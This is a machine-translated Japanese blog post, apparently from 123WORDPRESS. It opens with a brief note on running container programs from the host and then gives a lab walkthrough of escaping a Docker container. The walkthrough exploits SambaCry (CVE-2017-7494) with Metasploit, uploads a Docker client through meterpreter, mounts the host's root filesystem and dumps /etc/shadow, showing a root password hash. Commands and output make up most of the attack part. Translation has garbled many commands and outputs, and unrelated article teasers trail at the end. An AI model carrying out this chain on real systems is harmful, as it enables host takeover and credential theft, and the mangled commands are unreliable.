Docker コンテナに繰り返し入って操作することを避けるために、コンテナ内の一連の命令をホストマシンで完了させることができます。 ホスト マシン (著者のホストは Windows 7) 上の centos コンテナー (名前は centos-1) の /usr ディレクトリにある「プリンター」実行可能プログラムを実行すると、プログラムの出力として「123」が印刷されます。
成功。 追加知識:安全でない Docker コンテナのデプロイメントを使用してホスト権限を取得する 序文 コンテナを悪用して脱出する方法は数多くあります。この記事では、最も基本的な方法、つまり Docker ソケットを悪用してコンテナを脱出し、ホスト上で root としてコードを実行する方法について説明します。 実験環境のセットアップ コンテナを使用するため、docker がインストールされている必要があります。 ネットワークの作成 まず、コンテナを作成する Docker ネットワークを作成します。
脆弱なコンテナを起動する この例では、SambaCry 脆弱性 (CVE-2017-7494) の影響を受けるコンテナを使用します。脆弱性の詳細については、opsxcq/exploit-CVE-2017-7494 を参照してください。 この脆弱性により、Samba サーバーでリモート コードを実行できるようになります。コンテナーに docker ソケットを追加します。以下は docker を悪用した例です。 docker run --rm -it \ --name 脆弱な \ --network-pwnage \ -v '/var/run/docker.sock:/var/run/docker.sock' \ 脆弱性/CVE-2017-7494 攻撃機の発進 ラボ環境をセットアップしたら、攻撃者のホストをネットワークに追加する必要があります。 Samba Cry リポジトリには利用可能なエクスプロイトがありますが、必要なものをアップロードする方が簡単なので、ここでは Metasploit を使用します。 私はこれ用のイメージを構築しました。以下のコマンドを実行するだけで、ラボ環境に必要なすべてが実行されます。 docker run --rm -it \ --network-pwnage \ -v '/usr/bin/docker:/docker:ro' \ strm/メタスプロイト 読み込みが完了すると、次のインターフェースが表示されます。 攻撃の悪用 情報収集 情報収集は、あらゆる攻撃やテストの重要な部分です。まず、脆弱なコンテナに ping を実行して、現在の接続を確認しましょう。
すべてがうまくいけば、次の出力が表示されます。 msf5 > ping -c 2 脆弱 [*] exec: ping -c 2 脆弱 PING脆弱(172.20.0.2)56(84)バイトのデータ。 脆弱性のあるpwnage (172.20.0.2) からの 64 バイト: icmp_seq=1 ttl=64 time=0.120 ms 脆弱性のある.pwnage (172.20.0.2) からの 64 バイト: icmp_seq=2 ttl=64 time=0.097 ms --- 脆弱な ping 統計 --- 送信パケット 2 個、受信パケット 2 個、パケット損失 0%、時間 1009 ミリ秒 rtt 最小/平均/最大/平均偏差 = 0.097/0.108/0.120/0.015 ミリ秒 次に、基本的な smb 共有の列挙を実行します。 補助/スキャナ/smb/smb_enumshares を使用する rhosts を脆弱に設定する 走る 出力は次のようになります。 msf5 > 補助/スキャナ/smb/smb_enumshares を使用する msf5 補助(スキャナ/smb/smb_enumshares) > rhosts を脆弱に設定 rhosts => 脆弱 msf5 補助(スキャナ/smb/smb_enumshares) > 実行 [+] 172.20.0.2:139 - データ - (DS) データ [+] 172.20.0.2:139 - IPC$ - (I) IPC サービス (泣きサンバ) [*] 脆弱: - 1 台のホストのうち 1 台をスキャンしました (100% 完了) [*] 補助モジュールの実行が完了しました ご覧のとおり、この samba サーバーには data という名前の共有があります。 シェルを入手する 次のステップは、ホスト マシンに対してエクスプロイトを実行してシェルを取得することです。 Metasploit では、この脆弱性は is_known_pipename という名前で、exploit/linux/samba/is_known_pipename にあります。 ホストを攻撃するには、以下のコマンドを実行します。 エクスプロイト/linux/samba/is_known_pipename を使用する RHOSTを脆弱に設定する RPORT 445 を設定 ペイロードを設定する linux/x64/meterpreter/bind_tcp ターゲット3を設定 SMB_FOLDERデータを設定する SMBUser sambacry を設定する SMBPassを設定する nosambanocry 悪用する すべてがうまくいけば、meterpreter シェルが取得されます。次のように: msf5 > エクスプロイト/linux/samba/is_known_pipename を使用する msf5 エクスプロイト(linux/samba/is_known_pipename) > RHOST を脆弱に設定する RHOST => 脆弱 msf5 エクスプロイト(linux/samba/is_known_pipename) > RPORT 445 を設定 レポート => 445 msf5 エクスプロイト (linux/samba/is_known_pipename) > ペイロードを設定 linux/x64/meterpreter/bind_tcp ペイロード => linux/x64/meterpreter/bind_tcp msf5 エクスプロイト(linux/samba/is_known_pipename) > TARGET 3 を設定 ターゲット => 3 msf5 エクスプロイト(linux/samba/is_known_pipename) > SMB_FOLDER データの設定 SMB_FOLDER => データ msf5 エクスプロイト(linux/samba/is_known_pipename) > SMBUser sambacry を設定する SMBUser => サンバクリ msf5 エクスプロイト(linux/samba/is_known_pipename) > SMBPass nosambanocry を設定する SMBPass => いやだー msf5 エクスプロイト(linux/samba/is_known_pipename) > エクスプロイト [*] 脆弱:445 - パスに場所 \\vulnerable\data\ を使用する [*] 脆弱性:445 - 共有「データ」のリモートパスの取得 [*] 脆弱:445 - 共有「data」にサーバー側パス「/data」がある [*] 脆弱:445 - ペイロードを \\vulnerable\data\shyyEPPk.so にアップロードしました [*] 脆弱性:445 - \\PIPE\/data/shyyEPPk.so を使用してサーバー側パス /data/shyyEPPk.so からペイロードをロードします... [-] 脆弱:445 - >> STATUS_OBJECT_NAME_NOT_FOUND の読み込みに失敗しました [*] 脆弱:445 - /data/shyyEPPk.so を使用してサーバー側パス /data/shyyEPPk.so からペイロードをロードします... [-] 脆弱:445 - >> STATUS_OBJECT_NAME_NOT_FOUND の読み込みに失敗しました [*] 脆弱な 4444 に対するバインド TCP ハンドラーを開始しました [*] 脆弱な送信ステージ(816260バイト) メータープレター > 権限昇格 コンテナ内で利用可能な Docker ソケットを悪用して権限を昇格します。 Docker はホストマシン上で root として実行されるため、root 権限も持っています。これを悪用して複数のアクションを実行することができます。たとえば、--privileged オプションを使用すると、多くの拡張機能が提供されます。以下は、Docker の公式ドキュメントから抜粋した説明文です。 デフォルトでは、Docker コンテナには権限がありません。たとえば、コンテナ内でコンテナを起動することはできません。これは、デフォルトではコンテナが他のデバイスにアクセスできないためです。しかし、「特権」を持つことにより、コンテナは他のデバイスにアクセスできるようになります。オペレーターが docker run --privileged を実行すると、Docker はホスト上のすべてのデバイスにアクセスできるようになります。同時に、Docker は apparmor または selinux でいくつかの設定を行い、コンテナがコンテナ外で実行されているデバイスに簡単にアクセスできるようにします。 --device オプションを使用してデバイスにアクセスできます。ただし、この例では、toor ファイル システム (/) をコンテナーにマップしてアクセスします。 このコンテナには Docker クライアントがないため、次に行う必要があるのは、ターゲット コンテナに Docker クライアントとその依存関係を設定することです。次のコマンドを実行するだけで、これらすべてを実行できます。 アップロード /docker /docker /usr/lib/x86_64-linux-gnu/libltdl.so.7 をアップロードします /usr/lib/x86_64-linux-gnu/libltdl.so.7 chmod 777 /docker chmod +x /docker メータープレター > アップロード /docker /docker [*] アップロード中: /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み -1.00 B / 36.36 MiB (0.0%): /docker -> /docker [*] アップロード済み : /docker -> /docker メータープリター > /usr/lib/x86_64-linux-gnu/libltdl.so.7 をアップロード /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] アップロード中: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] 38.47 KiB のうち -1.00 B (-0.0%) をアップロードしました: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] アップロードしました: /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 メータープレター > chmod 777 /docker メータープリター > chmod +x /docker メータープレター > これで、docker を使用してホスト マシン上のファイル システムにアクセスできるようになりました。 \
ローカル ユーザーのハッシュをダンプしてみましょう。出力は次のようになります。 メータープリター > 実行 -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow" プロセス 113 が作成されました。 チャンネル13が作成されました。 ルート:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7::: デーモン:*:17488:0:99999:7::: ビン:*:17488:0:99999:7::: sys:*:17488:0:99999:7::: 同期:*:17488:0:99999:7::: ゲーム:*:17488:0:99999:7::: 男:*:17488:0:99999:7::: lp:*:17488:0:99999:7::: メール:*:17488:0:99999:7::: ニュース:*:17488:0:99999:7::: ホスト上の docker コンテナ内でシェルまたはプログラムを実行する方法に関する上記の記事が、私が皆さんに共有できるすべてです。この記事が皆さんの参考になれば幸いです。また、123WORDPRESS.COM を応援していただければ幸いです。 以下もご興味があるかもしれません:
|
<<: JavaScript でよく使われる 5 つのオブジェクト
目次1. 概要2. dockerを使用してTomcatをデプロイし、Skywalkingに接続する要...
事前に書いておきます:次の手順では、ターミナルにコマンドを入力する必要があります。コンピューターでブ...
最近、次のような効果を実装しました。再生ボタンをクリックするとタイムラインの再生が開始され、一時停止...
では、早速レンダリングを見てみましょう。 コア コードはtransition: cubic-bezi...
テーブルの欠点1. テーブルは他の HTML タグよりも多くのバイトを占有します。 (ダウンロード時...
序文JS に触れるすべての開発者は、必然的に for ループを扱うことになります。結局のところ、fo...
MySQL DDL ステートメントDDL、DMLとは何ですか。 DDL はデータ定義言語であり、CR...
目次1. ファイアウォールの現在の状態を確認する2. ファイアウォールサービスを開始する3. ファイ...
LinuxでのMySQL5.7 rpmのインストール方法を参考までに記録します。具体的な内容は以下の...
A. MySQLバックアップツールxtrabackupのインストール1. Percona 公式 xt...
今日のレスポンシブ レイアウトの要件では、サイズを自動的に調整できる多くの要素で高さと幅の適応を実現...
目次序文グローバルパラメータの永続性最後に要約する参考資料:序文2018 年に MySQL 8.0....
目次混合継承の影響: 1. 継承Vue.extend メソッドプロパティを拡張する2. ミックスイ...
コードをコピーコードは次のとおりです。 <本文<フォームアクション="&quo...
目次プロジェクトの背景始めるvue-cliでプロジェクトを作成するモバイル適応についてnormali...